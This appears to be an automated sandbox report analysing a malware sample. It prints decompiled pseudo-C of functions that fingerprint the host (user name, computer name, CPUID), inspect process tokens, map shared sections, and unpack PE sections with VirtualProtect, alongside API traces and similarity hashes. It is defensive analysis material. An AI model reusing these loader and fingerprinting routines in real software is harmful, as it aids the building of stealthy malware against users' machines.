RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 00A112FF
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 00A11321
memset.NTDLL ref: 00A1133B

Part of subcall function 00A195B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,00A123E9,63699BCE,00A11354,73797325), ref: 00A195C2
Part of subcall function 00A195B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 00A195DC

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 00A11379
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00A1138D
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00A113A4
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 00A113B0
lstrcat.KERNEL32(?,642E2A5C), ref: 00A113F1
FindFirstFileA.KERNELBASE(?,?), ref: 00A11407
CompareFileTime.KERNEL32(?,?), ref: 00A11425
FindNextFileA.KERNELBASE(00A196C1,?), ref: 00A11439
FindClose.KERNEL32(00A196C1), ref: 00A11446
FindFirstFileA.KERNEL32(?,?), ref: 00A11452
CompareFileTime.KERNEL32(?,?), ref: 00A11474
StrChrA.SHLWAPI(?,0000002E), ref: 00A114A7
memcpy.NTDLL(00000000,?,00000000), ref: 00A114E0
FindNextFileA.KERNELBASE(00A196C1,?), ref: 00A114F5
FindClose.KERNEL32(00A196C1), ref: 00A11502
FindFirstFileA.KERNEL32(?,?), ref: 00A1150E
CompareFileTime.KERNEL32(?,?), ref: 00A1151E
FindClose.KERNELBASE(00A196C1), ref: 00A11553
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 00A11565
HeapFree.KERNEL32(00000000,?), ref: 00A11575

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: b066b52a9f3b02b837fea0a295a01b30fa8a3b729d4200e5a731418198357ef0
Instruction ID: 58c3ef756ee0c842a07dd0fc40408470649cc85c4390cbee93f8365c3a482a88
Opcode Fuzzy Hash: b066b52a9f3b02b837fea0a295a01b30fa8a3b729d4200e5a731418198357ef0
Instruction Fuzzy Hash: E3816AB1D00119EFDF20CFA5DC84AEEBBB9FB48710F10416AE615E6260E7749A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E1000102F(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L10002100();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x10004150;
				_push(_t15 + 0x1000505e);
				_push(_t15 + 0x10005054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L100020FA();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x10004140, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x1000102f
0x10001038
0x1000103c
0x10001042
0x10001047
0x1000104c
0x1000104f
0x10001052
0x10001057
0x10001058
0x1000105b
0x10001066
0x1000106d
0x10001071
0x10001073
0x10001074
0x10001077
0x1000107c
0x10001086
0x10001088
0x10001088
0x1000109c
0x100010a2
0x100010a6
0x100010f6
0x100010a8
0x100010b1
0x100010c7
0x100010cf
0x100010e1
0x100010e5
0x00000000
0x00000000
0x100010d1
0x100010d4
0x100010d9
0x100010db
0x100010db
0x100010bc
0x100010be
0x100010e7
0x100010e8
0x100010e8
0x100010b1
0x100010fe

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 1000103C
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 10001052
_snwprintf.NTDLL ref: 10001077
CreateFileMappingW.KERNELBASE(000000FF,10004140,00000004,00000000,?,?), ref: 1000109C
GetLastError.KERNEL32 ref: 100010B3
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 100010C7
GetLastError.KERNEL32 ref: 100010DF
CloseHandle.KERNEL32(00000000), ref: 100010E8
GetLastError.KERNEL32 ref: 100010F0

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction ID: fd2cfec1e864bf63db9aaa2ee4e5368c07c46789b5c4626883214d07a46f71c5
Opcode Fuzzy Hash: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction Fuzzy Hash: 6821CFB2500258BFE721EFA8CCC4EDE77ADEB483D0F118136F615D7159DAB099858BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A1269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00A1269C(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0xa1d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E00A16B43( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0xa1d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0xa1d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E00A12496(_v8 + _v8, _t63);
							}
							HeapFree( *0xa1d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0xa1d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E00A12496(_v8 + _v8, _t63);
						}
						HeapFree( *0xa1d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x00a1269c
0x00a126a4
0x00a126aa
0x00a126ad
0x00a126b0
0x00a126b2
0x00a126b7
0x00a126b7
0x00a126bd
0x00a126bf
0x00a126cc
0x00a1272d
0x00a126ce
0x00a126d3
0x00a126d9
0x00a126de
0x00a126ec
0x00a126f0
0x00a126ff
0x00a12706
0x00a1270d
0x00a1270d
0x00a12718
0x00a12718
0x00a126f0
0x00a126de
0x00a1272f
0x00a12735
0x00a1273f
0x00a12741
0x00a12746
0x00a12755
0x00a12759
0x00a12764
0x00a1276b
0x00a12772
0x00a12772
0x00a1277e
0x00a1277e
0x00a12759
0x00a12787
0x00a12789
0x00a1278c
0x00a1278e
0x00a12791
0x00a12794
0x00a1279e
0x00a127a2
0x00a127a6

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 00A126D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 00A126EA
GetUserNameW.ADVAPI32(00000000,?), ref: 00A126F7
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,00A123D9), ref: 00A12718
GetComputerNameW.KERNEL32(00000000,00000000), ref: 00A1273F
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00A12753
GetComputerNameW.KERNEL32(00000000,00000000), ref: 00A12760
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,00A123D9), ref: 00A1277E

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 94b54e93646bd2074c5b890b7f605807b350b6f03639edcfd050de97bacbf440
Instruction ID: 3f3bcc814217e3c84422550475286823e0ae7654f808ab328c15010ac22b734a
Opcode Fuzzy Hash: 94b54e93646bd2074c5b890b7f605807b350b6f03639edcfd050de97bacbf440
Instruction Fuzzy Hash: 3B31E775A00205EFDB11DFA9DD81BEEB7F9EB48350F208069E445D7260EB70EE569B10

Uniqueness

Uniqueness Score: -1.00%

Function 00A183B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00A183B7(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E00A12049(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E00A19039(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x00a183c4
0x00a183c5
0x00a183c6
0x00a183c7
0x00a183c8
0x00a183cc
0x00a183d3
0x00a183e2
0x00a183e5
0x00a183e8
0x00a183ef
0x00a183f2
0x00a183f5
0x00a183f8
0x00a183fb
0x00a18406
0x00a18408
0x00a18411
0x00a18419
0x00a1841b
0x00a1842d
0x00a18437
0x00a1843b
0x00a1844a
0x00a1844e
0x00a18457
0x00a1845f
0x00a1845f
0x00a18461
0x00a18461
0x00a18469
0x00a1846f
0x00a18473
0x00a18473
0x00a1847e

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 00A183FE
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 00A18411
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 00A1842D

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 00A1844A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 00A18457
NtClose.NTDLL(?), ref: 00A18469
NtClose.NTDLL(00000000), ref: 00A18473

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 4e833b0c6729df7acabec481cc28e30b4d1ae03dd1defe3d0c7642f3eacbae92
Instruction ID: 71f1c94923fc04b5d4c8c4303e9410f2a3d16743e66652e0855c7aaf4f59a21c
Opcode Fuzzy Hash: 4e833b0c6729df7acabec481cc28e30b4d1ae03dd1defe3d0c7642f3eacbae92
Instruction Fuzzy Hash: 732103B6980219FBDB01DF95CD85ADEBFBDEB08750F108122F900E6120DB759A959BA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E10001EB5(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E10001D9F(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x10001ebe
0x10001ec5
0x10001ec6
0x10001ec7
0x10001ec8
0x10001ec9
0x10001eda
0x10001ede
0x10001ef2
0x10001ef5
0x10001ef8
0x10001eff
0x10001f02
0x10001f09
0x10001f0c
0x10001f0f
0x10001f12
0x10001f17
0x10001f52
0x10001f19
0x10001f1c
0x10001f22
0x10001f27
0x10001f2b
0x10001f49
0x10001f2d
0x10001f34
0x10001f42
0x10001f42
0x10001f2b
0x10001f5a

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74B04EE0,00000000,00000000,?), ref: 10001F12

Part of subcall function 10001D9F: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

memset.NTDLL ref: 10001F34

Strings

@, xrefs: 10001F02

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction ID: 22cae9f40a45f0817b401b8017966300679b6c07c9eb41be9fd604c10ac2f23b
Opcode Fuzzy Hash: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction Fuzzy Hash: 4821D8B6D00209AFDB11DFA9C8849EEFBB9EB48354F10447AE615F7210D735AA498B60

Uniqueness

Uniqueness Score: -1.00%

Function 024C348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E024C348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E024C20EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E024C5AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x024c348f
0x024c348f
0x024c348f
0x024c348f
0x024c348f
0x024c349c
0x024c349e
0x024c34a1
0x024c34a4
0x024c34a5
0x024c34a9
0x024c34ac
0x024c34b2
0x024c34ba
0x024c34c1
0x024c34ca
0x024c34cb
0x024c34cb
0x024c34cc
0x024c34cd
0x024c34d0
0x024c34da
0x024c34dc
0x024c34e3
0x024c34e6
0x024c34ec
0x024c34f4
0x024c34fb
0x024c3501
0x024c3504
0x024c3504
0x024c3505
0x024c3509
0x024c350c
0x024c3516
0x024c3520
0x024c3524
0x024c352e
0x024c3532
0x024c353a
0x024c353a
0x024c353d
0x024c3543
0x024c354b
0x024c3552
0x024c3558
0x024c3558
0x024c355b
0x024c3567
0x024c3569
0x024c3573
0x024c3575
0x024c357c
0x024c357f
0x024c3585
0x024c358d
0x024c3594
0x024c359a
0x024c359d
0x024c359d
0x024c359e
0x024c35a8
0x024c35ab
0x024c35ae
0x024c35ba
0x024c35be
0x024c35c2
0x024c35cc
0x024c35cc
0x024c35d6
0x024c35d9
0x024c35df
0x024c35e7
0x024c35ee
0x024c35f4
0x024c35f7
0x024c35f7
0x024c35f8
0x024c35ff
0x024c3602
0x024c360c
0x024c360e
0x024c3615
0x024c361f
0x024c362a
0x024c362e
0x024c3632
0x024c363d
0x024c3641
0x024c364a
0x024c364e
0x024c364f
0x024c365b
0x024c3662
0x024c3668
0x024c3669
0x024c3669
0x024c366a
0x024c3675
0x024c3677
0x024c3681
0x024c3683
0x024c3689
0x024c3691
0x024c3698
0x024c369e
0x024c369e
0x024c36a1
0x024c36ac
0x024c36ae
0x024c36b8
0x024c36c1
0x024c36c2
0x024c36c5
0x024c36c8
